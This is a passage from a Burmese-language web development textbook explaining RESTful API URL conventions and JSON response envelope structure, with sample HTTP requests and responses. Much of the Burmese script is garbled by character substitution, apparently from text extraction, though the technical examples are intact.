ကdတာ့ အ့ဲဒီ Resource Data dပါ်မှာ သက်dရာက်မယ့် လုပ်ငန်းdတွပါ။ ဥပမာအားgoင့် Create Product,
View Customers, Update User, Delete Student, Increase Book, Change Record, Cancel Place စ
သgoင့် goစ်နိုင်ပါတယ်။ ID ကdတာ့ စုoဲွ့ပြပီးရှိdနတဲ့ Resource Data Collection ထဲက Specific Resource
တစ်ခုကို တိတိကျကျညွှန်းo့ုိ အတွက် သတ်မှတ်ထားတဲ့ Unique Key ကိုdgပာတာပါ။

API  URL  dတွ  သတ်မှတ်o့ုိအတွက်  ဒီ  (၃)  ချက်ကို  စုoဲွ့တည်dဆာက်ရမှာပါ။  ဒီလုိတည်dဆာက်တဲ့အခါ
နားလည်လုိက်နာရမယ့်  စည်းမျဉ်းdတွ  ရိှပါတယ်။  နည်းနည်းလည်းများပါမယ်။  ဒါdပမယ့်  သူလည်းပဲ
အdရးကြကီးတဲ့ ကိစ္စတစ်ခုမုိ့လ့ုိ dသdသချာချာZရုgပုပြပီး dလ့လာမှတ်သားdပးပါ။
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1. ပထမဆုံးစည်းမျဉ်းကdတာ့  API  URL  dတွမှာ  စာလံုးအdသးdတွချည်းပဲသံုးရမယ် ဆိုတဲ့အချက်
goစ်ပါတယ်။ ဥပမာ - 

/products /articles /books /users

2. ဒုတိယအdနနဲ့  Resource    အမည်က    Plural   (အများကိန်း)  goစ်ရပါမယ်။ အdပါ်ကဥပမာကိုgပန်
eကည့်ပါ။ Plural Noun dတွကိုပဲသံုးပြပီး နမူနာdပးထားတာကို dတွ့ရနိုင်ပါတယ်။

3. Resource အမည်မှာ Special Character dတွနဲ့  Space dတွ ထည့်မသံုးရပါzူး။ Space လုိအပ်
တဲ့အခါ Dash (-) နဲ့တွဲdပးနိုင်ပါတယ်။ ဥပမာ –

/junior-engineers /language-books /travel-records /management-jobs

4. API URL  မှာ  Action    dတွမထည့်ရပါzူး  ။  Action  အစား  သင့်dတာ်တဲ့  Request  Method  ကို
အသံုးgပုရပါမယ်။  ဒီdတာ့  Resource,  Action,  ID  ရယ်လ့ုိ  (၃)  မျ ို းရှိdပမယ့်  API  URL  မှာ
Resource နဲ့ ID ပဲ ပါရမယ်ဆိုတဲ့ သdzာပါ။ 

/products /products/123
GET Get all products. Get product with id 123
POST Create a product
PUT Update many products at once Update product with id 123
PATCH Update many products at once Update product with id 123
DELETE Delete many products Delete product with id 123

အdပါ်ကဇယားကွက်မှာ  URL  က  နှစ်ခုတည်း ဆိုdပမယ့်  Request  Method (၅)  မျ ို းနဲ့  dပါင်း
လုိက်တဲ့အခါ လုပ်dဆာင်ချက် (၉) မျ ို းရတာကို dတွ့ရနိုင်ပါတယ်။ dလ့လာeကည့်လုိက်ပါ။ PUT 
နဲ့ PATCH ရဲ့ ကွဲgပားပံု ကိရုှင်းgပခဲ့ပြပီး  goစ်ပါတယ်။  ပြပီးdတာ့  POST နဲ့  အချက်အလက်သစ်  
တည်dဆာက်တဲ့အခါ  ID  dပးပြပီး တည်dဆာက်ရင်  Conflict  goစ်လ့ုိ  အ့ဲဒီလုပ်dဆာင်ချက်တစ်ခု  
ချန်ထားခဲ့တာလည်း သတိgပုပါ။ ဒီနည်းနဲ့ Action   dတွကို   URL   မှာ ထည့်စရာမလုိdတာ့ပါzူး  ။ 
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တစ်ချ ို ့  Action  dတကွdတာ့  Request Method  သက်သက်နဲ့  အဓိပ္ပါယ် မdပါ်လွင်လ့ုိ မထည့်မ
goစ် ထည့်o့ုိလုိတာdတွ ရိှနိုင်ပါတယ်။ ဥပမာ - increase, toggle, tag, verify, 
undo စသgoင့်ပါ။ ဒါမျ ို းလုိအပ်လာရင်dတာ့ URL မှာ Action ထည့်နိုင်ပါတယ်။ ဥပမာ -

/product/increase/123 /items/toggle/4 /users/verify /tasks/undo/5

5. Sub Resource ဆိုတာလည်း လုိအပ်တတ်ပါdသးတယ်။ လုိအပ်ရင် ထည့်လ့ုိရပါတယ်။ ဥပမာ -
Product  ရဲ့  Reviews  dတွကို  လုိချင်တယ်။  Student  ရဲ့  Grades  ကိုလုိချင်တယ်။  Article  ရဲ့
Comments dတွကို လုိချင်တယ်၊ စသgoင့် ရှိတတ်ပါတယ်။ အ့ဲဒါဆိုရင် URL ရဲ့ oဲွ့စည်းပံုက ဒီလုိ
goစ်သွားမှာပါ။

/products/123/reviews /students/4/grades /articles/5/comments

dနာက်ကလုိက်တဲ့  reviews, grades, comments dတဟွာလည်း Resource dတွပါပဲ၊  
ဒါdပမယ့် Main Resource dတာ့ မဟုတ်ပါzူး။ Sub Resource dတွပါ။

6. dရှ့ ကdန   /api     ဆိုတဲ့    Prefix   နဲ့    URL   dတွကို စdပးချင်ရင်   dပးလ့ုိရပါတယ်။ ရိုးရိုး  URL နဲ့  API
URL ကို ကွဲgပားသွားdစလ့ုိ dပးသင့်ပါတယ်။ မdပးရင်လည်း ရdတာ့ရပါတယ်။ ကိုယ့်လုိအပ်ချက်
dပါ်မှာ မူတည်ပါတယ်။

7. URL   မှာ   API Version   ပါသင့်ပါတယ်   (ဥပမာ /api/v1)။ API ဆိုတာ dပးထားပြပီးရင် မgပင်သင့်
dတာ့ပါzူး။ gပင်လုိက်လ့ုိ dgပာင်းသွားတဲ့အခါ ဒီ API ကို သံုးdနသူ Client အတွက် gပဿနာရှိနိုင်
ပါတယ်။ ဒါdeကာင့် gပင်o့ုိလုိတယ် ဆိုရင်လည်း gပင်ပြပီdနာက်မှာ  API Version  သစ်အdနနဲ့  ထပ်
တိုးdပးရမှာ goစ်ပါတယ်။ ဥပမာ -

/api/v1/products/123 /api/v2/articles/4/comments /api/v3/user/verify/5
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8. Sorting, Filter  နဲ့  Paging  လုပ်dဆာင်ချက်dတွ အတွက်  URL Query dတွကို သံုးရပါတယ်။ ဒီ
အပုိင်းကdတာ့  တစ်dယာက်နဲ့တစ်dယာက် အကြကိုက်မတူသလုိ  Recommendation  dတွလည်း
ကွဲgပားeကပါတယ်။ ဒါdeကာင့် အခုdoာ်gပမယ့်နည်းကို Recommendation များစွာထဲက တစ်ခုလ့ုိ
သdzာ ထားသင့်ပါတယ်။

Sorting နဲ့ပတ်သတ်တဲ့ သတ်မှတ်ချက်dတွကို အခုလုိသတ်မှတ်dပးနိုင်ပါတယ်။

/products?sort[price]=1 /students?sort[name]=1&sort[age]=-1

URL Query Operator goစ်တဲ့ ? ကို သံုးလုိက်တာပါ။ ပထမဥပမာမှာ Products dတွကို price 
နဲ့  Sorting  စီပြပီး  လုိချင်တဲ့သdzာကို  သတ်မှတ်dပးလိုက်တာပါ။  ဒုတိယဥပမာ  မှာdတာ့  
Students  dတွကို  name နဲ့လည်းစီမယ်  age နဲ့လည်းစီမယ်ဆိုတဲ့သdzာနဲ့  နှစ်ခုdပး
ထားတာကို သတိgပုပါ။ ပြပီးdတာ့ age အတွက် Value က -1 goစ်ပါတယ်။ dgပာင်းgပန်  စီမယ်  
Descending ဆိုတဲ့ သdzာပါ။ ရိုးရိုးစီရင်   1     ကိုသုံးပြပီး dgပာင်းgပန်စီရင်   -1     ကိုသံုးတယ်   ဆိုတဲ့ ဒီ
နည်းဟာ dရှ့ဆက်dလ့လာမယ့် MongoDB ကdနလာတဲ့ နည်းgoစ်ပါတယ်။

Filter ကနည်းနည်းdတာ့ ရှုပ်ပါတယ်။ dပးထားတဲ့နမူနာကိုသာ တိုက်ရိုက်dလ့လာeကည့်ပါ။

/products?filter[name]=Book&filter[price][$lt]=9

Grater  Than,  Less  Than,   Not  စတဲ့  Filter  Operator  dတွအတွက်   [$gt] [$gte]  
[$lt] [$lte] [$not] စသgoင့် dလးdထာင့် ကွင်းdလးdတွနဲ့ dရးeကပါတယ်။ ဒါလည်းပဲ
MongoDB ကdနလာတဲ့ နည်းပဲ goစ်ပါတယ်။ အခုအgမင်မှာ ရှုပ်dနdပမယ့် လက်dတွ့အသုံးgပုတဲ့
အခါ ဒီနည်းdတွကိုသံုးတဲ့အတွက် dနာက်ပုိင်း dတာ်dတာ်ရှင်းပြပီး အဆင်dgပတယ်ဆိုတာကို dတွ့
ရပါလိမ့်မယ်။
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Paging ကdတာ့နှစ်မျ ို းရှိပါတယ်။ Client zက်က Paging ကို သတ်မှတ်ခွင့် gပုလ့ုိရသလုိ Server
zက်ကပဲ သတ်မှတ်dပးလ့ုိလည်း ရပါတယ်။ Client zက်က Paging သတ်မှတ်ခွင့်gပုချင်ရင် API
URL  ရဲ့  oဲွ့စည်းပံုက အခုလုိgoစ်နိုင်ပါတယ်။  ရိုးရိုး  Database  Query  dတွမှာသုံးတဲ့  limit 
dရးထံုးမျ ို းကိုပဲ gပန်သုံးလုိက်တာပါ။ 

/products?skip=5&limit=10 /students?skip=10&limit=20

Client zက်က zယ်ကစမလဲ dရွးလ့ုိရသလို၊ တစ်ကြကိမ်မှာ zယ်နှစ်ခုလုိချင်သလဲပါdရွးလ့ုိရသွား
မှာပါ။ dနာက်တစ်နည်းကdတာ့ Paging Options dတွကို  Server zက်က ပံုdသသတ်မှတ်ထား
တာမျ ို းပါ။ ဒီလုိပါ။

/products?page=2 /students?page=3

Client  zက်ကလုိချင်တဲ့  အdရအတွက်dတွzာdတွ  dပးခွင့်မရှိdတာ့ပါzူး။  လုိချင်တဲ့  Page  
Number ကိုပဲdပးရတဲ့ သdzာပါ။ Page တစ်ခုမှာ Record  zယ်နှစ်ခုရှိမလဲဆိုတာမျ ို းကdတာ့  
Server ကသတ်မှတ်မှာပါ။ 

Filter, Sorting နဲ့ Paging dပါင်းသံုးထားတဲ့ ဥပမာdလးတစ်ခုကိုလည်း doာ်gပdပးလုိက်ပါတယ်။

/products?filter[category]=4&sort[name]=1&sort[price]=-1&page=2

category က 4 ကိုလုိချင်တယ်။။ name နဲ့ Sorting စီမယ်။ price နဲ့လည်း dgပာင်းgပန်ထပ်
စီဦးမယ်။ Page 2 ကို လုိချင်တယ်လို့ dgပာလုိက်တာပါ။

ဒီလို  Sorting, Filter, Paging လုပ်dဆာင်ချက်dတွ အကုန်လုံးကို ကိုယ့်  API  က မgoစ်မdန dပး
ရမယ်လို့  မဆိုလုိပါzူး။  dပးချင်တယ်ဆိုရင်  zယ်လုိdပးရမလဲဆိုတဲ့  နည်းကိုသာdgပာတာပါ။  
လက်dတွ့မှာ  ကိုယ့်  API  zက်က  zယ်လိုလုပ်dဆာင်ချက်dတွ  dပးမလဲဆိုတာ  ကိုယ်တိုင်  
dရွးချယ်သတ်မှတ်ရမှာ goစ်ပါတယ်။
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ဒီထက်ပုိပြပီး နည်းနည်းအdသးစိတ်ချင်dသးတယ်ဆိုရင် Client zက်က လုိချင်တဲ့ Fields dတွကို 
dရွးယူလို့ရdအာင်လည်း dပးလ့ုိရပါတယ်။ ဒီလုိပါ။

/products?fields=name,price,description /students?fields=name,age,grade

ပထမနမူနာမှာ Products dတွကိုလုိချင်တာပါ။ ဒါdပမယ့် Products ရဲ့ ရိှသမျှ Field အားလံုးကို
မယူzဲ name, price နဲ့ description ပဲလိုချင်တယ်လ့ုိ dရးွdပးလုိက်တာပါ။ ဒုတိယ နမူ
နာကလည်း အတတူူပါပဲ။ Students  ရဲ့အချက်အလက်dတွထဲကမှ name, age နဲ့  grade 
ကိုပဲ လုိချင်တယ်ဆိုတဲ့ အဓိပ္ပါယ်ပါ။

ဒီdလာက်ဆိုရင် RESTful API URL dတရွဲ့ oဲွ့စည်းပံုပုိင်းမှာ dတာ်dတာ်dလး gပည့်စုံသွားပါပြပီ။ dခါင်းလည်း
နည်းနည်းမူးသွားeကပြပီ  ထင်ပါတယ်။  မှတ်စရာ  နည်းနည်းများတဲ့  အတွက်deကာင့်  မှတ်ရလွယ်dအာင်
နံပါတ်စဉ်တပ်ပြပီး doာ်gပdပးခဲ့ပါတယ်။ အားလံုး (၈) ပုိင်းရှိပါတယ်။ 

စာdတွများလို့ စိတd်တာ့ ညစ်မသွားပါနဲ့။ ဒီဇုိင်းပုိင်း dကာင်းမွန်စနစ်ကျတဲ့ Service dတွ API dတွgoစ်dစ
o့ုိအတွက်  dနာက်ထပ်အdရးကြကီးတဲ့  အပုိင်းတစ်ခုကို  ဆက်လက်dလ့လာ  eကရပါဦးမယ်။  အ့ဲဒါကdတာ့
Response dတရွဲ့ oဲွ့စည်းပံုအdeကာင်းပဲ goစ်ပါတယ်။
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အခန်း (၇၀) – API Response Structure

ဒီအခန်းမှာdတာ့ အထူးသgoင့် Response Body ရဲ့ oဲွ့စည်းပံုနဲ့အတူ Client နဲ့ Server အgပန်အလှန် dပးပ့ုိ
eကမယ့် Request / Response dတွရဲ့ oဲွ့စည်းပံုအdeကာင်းကို dgပာgပသွားမှာပါ။ ဟိုးအdပါ်မှာ Response
Body ဟာ JSON Format goစ်ရပြပီးdတာ့ Data Envelope ကိုအသံုးgပုနိုင်တယ်လ့ုိ dgပာထားပါတယ်။ 

JSON Format goစ်o့ုိက လွယ်ပါတယ်။ ကိုယ်dတာင် zာမှလုပ်စရာ မလုိပါzူး။ Language တိုင်းလုိလုိမှာ
Array  ကို  JSON  dgပာင်းdပးနိုင်တဲ့  လုပ်dဆာင်ချက်dတွ၊  Object  ကို  JSON  dgပာင်းdပးနိုင်တဲ့
လုပ်dဆာင်ချက်dတွ ပါပြပီးသားပါ။

ဒါdeကာင့် ဒီdနရာမှာ Data Envelope ရဲ့oဲွ့စည်းပံုကို နားလည်o့ုိကပုိအdရးကြကီးပါတယ်။  Data Envelope
ရဲ့  oဲွ့စည်းပံုက တစ်dယာက်နဲ့တစ်dယာက် အကြကိုက်မတူeကသလုိ၊ dပးeကတဲ့  Recommendation  dတွ
လည်းမတူeကပါzူး။  ဒါdပမယ့်  အdသးစိတ်dတွမှာသာ  ကွာသွားတာပါ၊  အdgခခံမူသdzာdတကွdတာ့
အတူတူပါပဲ။ ဒါdeကာင့်မို့လ့ုိ  အခုdoာ်gပမယ့်နည်းdတွကို dလ့လာထားပြပီး ကျန်အdသးစိတ်ကိုdတာ့ ကိုယ့်
လုိအပ်ချက်နဲ့အညီ ချနိ်ညှိပြပီး သံုးသွားလ့ုိ ရနိုင်ပါတယ်။

ပထမဆုံးအdနနဲ့  Response Envelope  ထဲမှာ  meta, data, links နဲ့  errors လ့ုိdခါ်တဲ့ ပင်မ
အစိတ်အပုိင်း  (၄)  ခု  ပါdလ့ရှိတယ်လုိ့  မှတ်သားထားdပးပါ။  ဥပမာ  -  GET Method  ကို  သံုးပြပီး
/students ကို Request gပုလုပ်ခဲ့တယ်ဆိုရင် အခုလုိgoစ်နိုင်ပါတယ်။
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 Request 
GET /students
Content-Type: application/json

 Response 
200 OK
Content-Type: application/json

{
meta: {

total: 15
},
data: [

{ … }, { … }, { … }, { … }, { … }
],
links: {

self: "http://domain/students",
students: "http://domain/students",
classes: "http://domain/classes",
grades: "http://domain/students/grades"

}
}

အထက်က  Response Body  နမူနာမှာ  meta, data နဲ့  links တို့ပါပါတယ်။  meta မှာ စုစုdပါင်း
Record အdရအတွက်ကို total နဲ့တွဲထည့်dပးထားပါတယ်။ data ကdတာ့ Client လုိချင်တဲ့ Student
စာရင်းကို  JSON Array အdနနဲ့dပးထားတာပါ။ errors မပါပါzူး။  Error မရှိတဲ့သdzာပါ။ တစ်ချ ို ့က
errors  နဲ့ data နှစ်ခုထဲက တစ်ခုပဲပါရမယ်။ errors     ပါရင်   data     မပါရzူး။   data     ပါရင်   errors  
မပါရzူး လ့ုိdgပာeကပါတယ်။ ဒါသzာဝကျပါတယ်။ ဒါdeကာင့် errors နဲ့ data နှစ်ခုရှိdပမယ့် နှစ်ခုထဲ
ကတစ်ကြကိမ်မှာ တစ်ခုသာ ပါဝင်ရမှာပဲ goစ်ပါတယ်။

links မှာdတာ့  အသံုးဝင်တဲ့  API  URL  dတွကို  တန်းစီပြပီးdတာ့  dပးထားတဲ့  သdzာပါ။  ဒီအတွက်
HATEOAS လ့ုိdခါ်တဲ့  REST  ရဲ့ဆက်စပ်နည်းပညာတစ်ခရုှိပါတယ်။  Hypermedia  as  the  Engine  of
Application State ရဲ့အတိုdကာက်ပါ။ ဒါနဲ့ပက်သက်ပြပီး နည်းနည်းdတာ့ အgငင်းပွားeကပါတယ်။ လုိတယ်
လ့ုိ dgပာတဲ့သူရှိသလုိ၊ မလုိzူးလ့ုိ dgပာတဲ့သူလည်း ရိှပါတယ်။ မလုိzူးလို့ zာdeကာင့် dgပာသလဲဆိုdတာ့၊
လက်dတွ့မှာ ဒီ  Links  dတွကိုအားကိုးလ့ုိ မgပည့်စုံပါzူး။  API Documentation  ကိုသွားeကည့်ရမှာပဲမ့ုိလုိ့
Response  Body  မှာ  ထည့်dပးdနစရာမလုိzူးလို့  dgပာeကတာပါ။  တစ်ကယ်တမ်း  လက်dတွ့မှာလည်း
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အပြမဲတမ်း  gပည့်စုံdအာင်လုိက်ထည့်dပးo့ုိ  မလွယ်တဲ့အတွက်  အများအားgoင့်  Pagination  ပုိင်းကလဲွရင်
links ကို သိပ်ပြပီးdတာ့ မသံုးeကပါzူး။ ဒါdeကာင့် dနာက်ပုိင်းမှာ links ကို အပြမဲမသံုးdတာ့zဲ လုိအပ်
မှပဲ သံုးပါdတာ့မယ်။

GET Method နဲ့ /studetns/:id ဆိုတဲ့ API URL ကို  Request  gပုလုပ်ခဲ့ရင်dတာ့ oဲွ့စည်းပံုက အခု
လုိပံုစံ goစ်နိုင်ပါတယ်။

 Request 
GET /students/3
Content-Type: application/json

 Response 
200 OK
Content-Type: application/json

{
meta: {

id: 3
},
data: { ... }

}

ဒီတစ်ခါdတာ့ meta မှာ id ကို ထည့်dပးထားပါတယ်။ တစ်ချ ို ့လည်း total တို့ id တို့လုိ meta Data
dတွကို meta ထဲမှာ တစ်ဆင့်ခံ မထည့်dတာ့ပဲ တိုက်ရိုက်dပးတတ်eကပါတယ်။ ဒီလိုပါ။ 

 JSON 
{

id: 3,
data: { ... }

}
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နည်းလမ်းdတွ dရာdgပာdနလ့ုိ dခါင်းမစားပါနဲ့။ အထက်မှာdgပာခဲ့သလုိ အdသးစိတ်dလးdတွပဲ ကွာသွား
တာပါ။  အdgခခံမူသdzာက အတူတူပဲမ့ုိလ့ုိ  ကြကိုက်တဲ့နည်းကို  သံုးနိုင်ပါတယ်။  လက်ရှိနမူနာမှာ  data
ကdတာ့ JSON Object တစ်ခတုည်း goစ်သွားပါပြပီ။ Array မဟုတ်dတာ့zူးဆိုတာကိုလည်း သတိgပုပါ။ 

အကယ်၍များ Error goစ်ခဲ့ရင်dတာ့ Response က ဒီလုိgoစ်နိုင်ပါတယ်။

 Response 
404 Not Found
Content-Type: application/json

{
meta: {

id: 3
},
errors: {

message: "Student with id 3 doesn't exists."
}

}

သ့ုိမဟုတ် ဒီလုိလည်း goစ်နိုင်ပါတယ်။

 Response 
401 Unauthorized
Content-Type: application/json

{
meta: {

id: 3
},
errors: {

message: "Unauthorize access."
},
links: {

self: "http://domain/studnets/3",
login: "http://domain/login"

}
}
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နမူနာမှာ  Client  အတွက် အသံုးဝင်နိုင်တဲ့အတွက်  links ကိုထည့်dပးထားတာကို သတိgပုပါ။  Sorting
dတွ Filter dတွ Paging dတွ အကုနd်ရာပါတဲ့ နမူနာdလး တစ်ခုdလာက် ထပ်dပးပါဦးမယ်။

 Request 
GET /students?filter[grade]=7&sort[name]=1&page=2
Content-Type: application/json

 Response 
200 OK
Content-Type: application/json

{
meta: {

filter: { grade: 7 },
sort: { name: 1 },
page: 2,
total: 25,
limit: 5

},
data: [

{ ... }, { ... }, { ... }, { ... }, { ... }
],
links: {
     self: "/students?filter[grade]=7&sort[name]=1&page=2",
     first: "/students?filter[grade]=7&sort[name]=1&page=1",

last: "/students?filter[grade]=7&sort[name]=1&page=5",
next: "/students?filter[grade]=7&sort[name]=1&page=3",
prev: "/students?filter[grade]=7&sort[name]=1&page=1"

}
}

ဒီနမူနာမှာdတာ့  meta,  links အစုံပါသွားပါပြပီ။  ပါo့ုိလည်းလုိပါတယ်။  ဒီdတာ့မှ  Client  က
Pagination  နဲ့ပက်သက်တဲ့  လုပ်dဆာင်ချက်dတွကို  Data  နဲ့အတူ  တစ်ခါတည်း အတွဲလုိက်  သိရမှာပါ။
အခုလုိသာ  Data  Envelope  ထဲမှာစနစ်တကျ  အချက်အလက်  gပည့်gပည့်စုံစုံ  gပန်dပးမယ်ဆိုရင်  Client
အတွက် အသံုးgပုရတာ အရမ်းအဆင်dgပသွားမှာပါ။

တစ်ချ ို ့ API URL dတွက နည်းနည်းရှုပ်လ့ုိ Client zက်က မှားနိုင်ပါတယ်။ အ့ဲဒီလုိမှားပြပီဆိုရင်dတာ့ ဒီလုိ
Error dပးနိုင်ပါတယ်။
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 Response 
400 Bad Request
Content-Type: application/json

{
errors: {

message: "Unable to parse parameters."
}

}

ဆက်လက်ပြပီးdတာ့ POST Method နဲ့ Request gပုလုပ်လာတဲ့အခါ အgပန်အလှန်သွားdလ့ရှိeကတဲ့ နမူနာ
dလးတစ်ချ ို ့ doာ်gပdပးပါမယ်။

 Request 
POST /students
Content-Type: application/json

{
name: "Tom", age: 12, grade: 6

}

 Response 
201 Created
Content-Type: application/json
Location: /students/9

{
meta: {

id: 9
},
data: {

id: 9, name: "Tom", age: 12, grade: 6
}

}

POST Method  နဲ့လာလ့ုိ အချက်အလက်သစ် ထည့်သွင်းdပးရတဲ့အတွက်  Response  မှာ  Status Code
အdနနဲ့  201  Created ကို  gပန်dပးထားပါတယ်။  ထည့်သွင်းလုိက်တဲ့အတွက်  ရလာတဲ့  ID  ကို
Response  မှာ  gပန်ထည့်dပးထားတာကို  သတိgပုပါ။  ဒီနည်းနဲ့  Client  က  POST လုပ်ပြပီးတာနဲ့
အချက်အလက်သစ်  သိမ်းdပးသွားယံုသာမက၊  Auto  ID  ကိုပါ  တစ်ခါတည်း  gပန်ရသွားမှာ  goစ်ပါတယ်။
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Response  မှာ  Location Header  ကိုသုံးပြပီး ထည့်သွင်းလုိက်တဲ့  အချက်အလက်ကို  gပန်eကည့်လို့ရတဲ့
API URL  ကိုပါ gပန်တွဲထည့်dပးထားတာကို သတိgပုပါ။  links နဲ့  Body  ထဲမှာ ထည့်ရင်လည်း ရနိုင်ပါ
တယ်။  HTTP Standard  အရဆိုရင်dတာ့  201 နဲ့အတူ  Location ကိုတွဲdပးရတယ်ဆိုတဲ့  သတ်မှတ်
ချက်ရှိလ့ုိ ဒီdနရာမှာdတာ့ Location Header နဲ့တွဲdပးတာက ပုိစနစ်ကျမှာပါ။

အကယ်၍dပးတဲ့အချက်အလက်မgပည့်စုံရင်  400 Bad Request ကိုgပန်dပးနိုင်ပါတယ်။ ထည့်ခွင့်မရှိ
zဲ လာထည့်dနတာဆိုရင်  401 Unauthorized နဲ့  403 Forbidden တို့ကို သင့်dတာ်သလုိ gပန်
dပးနိုင်ပါတယ်။ အကယ်၍ ID dပးပြပီး ထည့်ခိုင်းdနရင်dတာ့ 409 Conflict ကို gပန်dပးရမှာပါ။ ဒီလို
ပါ။ ဒီသdzာသzာဝdတွကို Status Code dတွအdeကာင်း dgပာတုံးက ရှင်းgပခဲ့ပြပီး goစ်ပါတယ်။

 Request 
POST /students/8
Content-Type: application/json

{
name: "Tom", age: 12, grade: 6

}

 Response 
409 Conflict
Content-Type: application/json

{
errors: {

message: "Incorrect request. Giving ID."
}

}

အချက်အလက်dတွကို PUT နဲ့dပးပ့ုိလာတဲ့အခါ နZို Data ကို dပးလာတဲ့ Data နဲ့ အစားထုိးပြပီး gပင်dပးရ
မှာပါ။  PATCH နဲ့dပးပ့ုိလာရင်dတာ့ တစ်စိတ်တစ်ပုိင်း gပင်dပးရမှာပါ။ ဥပမာ  -  မူလဒီလုိပံုစံမျ ို းနဲ့  Data
ရိှdနတယ်လို့ သdzာထားပါ။

 JSON 
{ id: 8, name: "Tom", age: 12, grade: 6 }
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အ့ဲဒါကို PATCH နဲ့ Request လုပ်ပြပီးgပင်မယ်ဆိုရင် ဒီလုိgoစ်မှာပါ။

 Request 
PATCH /students/8
Content-Type: application/json

{
name: "Tommy"

}

dပးလုိက်တဲ့  Request  Body  မှာ  name တစ်ခုပဲပါတာကို  သတိgပုပါ။  Update  လုပ်တဲ့အလုပ်  လုပ်ပြပီး
dနာက် gပန်ရမယ့် Response က ဒီလုိပံုစံgoစ်မှာပါ။

 Response 
200 OK
Content-Type: application/json

{
meta: {

id: 8
},
data: {

id: 8, name: "Tommy", age: 12, grade: 6
}

}

မူလ  Data  မှာ ရှိdနတဲ့အချက်အလက်dတွထဲက  name တစ်ခတုည်းကို  dရွးပြပီးgပင်dပးသွားတာပါ။ ကျန်
အချက်အလက်dတွကိုdတာ့ မူလအတိုင်းပဲ ဆက်ထားdပးပါတယ်။ အကယ်၍အလားတူ လုပ်dဆာင်ချက်
ကိုပဲ PUT နဲ့ Request လုပ်ခဲ့မယ်ဆိုရင် ဒီလိုgoစ်မှာပါ။

 Request 
PUT /students/8
Content-Type: application/json

{
name: "Tommy"

}
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 Response 
200 OK
Content-Type: application/json

{
meta: {

id: 8
},
data: {

id: 8, name: "Tommy"
}

}

နZိရုှိတဲ့  Data  dတွကို  dပးလုိက်တဲ့  Data  နဲ့အစားထိုးလုိက်တာမို့လ့ုိ  နZို  Data  dတွမရှိdတာ့တာကို
သတိgပုeကည့်ပါ။  ဒီလုိနှစ်လမ်းနှစ်မျ ို းရဲ့  ကွဲgပားပံုကို  သdzာdပါက်o့ုိလုိပါတယ်။ ကိုယ့်  Service  နဲ့  API
zက်က နှစ်မျ ို းလံုးကို ကွဲgပားdအာင် Implement လုပ်dပးထားနိုင်ရင်dတာ့ အdကာင်းဆုံးပါပဲ။ 

goည့်စွက်မှတ်သားသင့်တဲ့  ထူးgခားချက်အdနနဲ့  မရှိတဲ့    Data    ကို    PUT/PATCH     တို့နဲ့  gပင်o့ုိကြကိုးစားရင်  
အသစ်ထည့်dပးရမယ်လ့ုိလည်း တစ်ချ ို ့ကdgပာeကပါတယ်။ မgoစ်မdန အသစ်ထည့်dပးရမယ်လ့ုိ မဆိုလုိပါ
zူး။  ဆန္ဒရှိရင်ထည့်dပးနိုင်တယ်ဆိုတဲ့  သdzာပါ။  မထည့်ချင်ရင်လည်း  404 Not Found ကို  gပန်
dပးလုိက်လ့ုိလည်း ရပါတယ်။ မရှိတဲ့  Data  ကို  gပင်oို့ကြကိုးစားလ့ုိ အသစ်အdနနဲ့  ထည့်dပးလုိက်ချင်တယ်
ဆိရုင်dတာ့ ဒီလုိgoစ်မှာပါ။

 Request 
PUT /students/9
Content-Type: application/json

{
name: "Mary", age: 12, grade: 6

}
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 Response 
202 Accepted
Content-Type: application/json

{
meta: {

id: 9
},
data: {

id: 9, name: "Mary", age: 12, grade: 6
}

}

200 OK တို့  201 Created တို့ကို  မသုံးzဲ၊  202 Accepted     ကိုသုံးတာသတိgပုပါ  ။ အဓိပ္ပါယ်က၊
dပးပ့ုိတာ မမှန်dပမယ့် လက်ခံdပးလုိက်တယ်ဆိုတဲ့ အဓိပ္ပါယ်ပါ။  Status Code မှာတင် လုပ်dပးလုိက်တဲ့
အလုပ်ရဲ့  အဓိပ္ပါယ်  dပါ်လွင်သွားdစတာပါ။  ဒါdeကာင့်  Request  Method  dတွ  Status  Code  dတွကို
HTTP က သတ်မှတ်ထားတဲ့အတိုင်း မှန်ကန်dအာင် သံုးdပးရတယ်လို့ dgပာတာပါ။ အားလုံးက သ့ူdနရာနဲ့
သူ အဓိပ္ပါယ်ရှိပြပီး စနစ်ကျdနdစမှာပါ။

ဆက်လက်ပြပီး DELETE Request dတွလာတဲ့အခါ တုံ့gပန်ပုံကို doာ်gပdပးပါမယ်။ ဒီလိုပါ။

 Request 
DELETE /students/8

 Request 
204 No Content 

ဒါပါပဲ၊ အရမ်းရှင်းပါတယ်။ Request မှာ Body မပါသလုိ၊ Response မှာလည်း Body မပါပါzူး။  zာမှမ
ပါလို့  ကိစ္စမရှိပါzူး။  2XX Status Code  goစ်ကတည်းက လုပ်ငန်းdအာင်gမင်တာ dပါ်လွင်dနပါပြပီ။  204
လ့ုိdgပာတဲ့အတွက်  Content  မရှိdတာ့လ့ုိ  gပန်မdပးတာ  goစ်တဲ့အတွက်  Delete  goစ်သွားတာလည်း
dပါ်လွင်ပါတယ်။  အကယ်၍  ဒီနည်းကို  မကြကိုက်zူးဆိုရင်လည်း  ရိုးရိုး  200  OK နဲ့ပဲ  meta မှာ
messages dပးပြပီး အခုလိုတုံ့gပန်နိုင်ပါတယ်။
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 Request 
DELETE /students/8

 Response 
200 OK
Content-Type: application/json

{
meta: {

id: 8,
message: "Successfully deleted."

}
}

ဒီdလာက်ဆိုရင်  Response Structure နဲ့ပက်သက်ပြပီး dတာ်dတာ်gပည့်စုံသွားပါပြပီ။ goည့်စွက်ချက်အdနနဲ့
Data Envelope  ထဲမှာ  relationships နဲ့  included ဆိုပြပီးdတာ့လည်း ဆက်စပ်အချက်အလက်
dတွကို ထည့်eကdလ့ရှိတယ်ဆိုတာကို မှတ်သားdပးပါ။ 

Relationship Data
Data ဟာ Database dတကွdန လာdလ့ရှိပါတယ်။ Database ထဲမှာ သိမ်းတဲ့အခါ Table Relationship
dတရွှိနိုင်ပါတယ်။  အ့ဲဒီလုိရှိdနတဲ့  Relationship  Data  dတွကို  တစ်ခါတည်း  ထည့်dပးချင်ရင်  dပးလ့ုိ
ရdအာင်လ့ုိပါ။ ပြပီးdတာ့ တစ်ချ ို ့  Data dတွမှာ သူနဲ့တွဲသံုးo့ုိ လုိအပ်နိုင်တဲ့ ဆက်စပ် Data dတွ ရှိတတ်ပါ
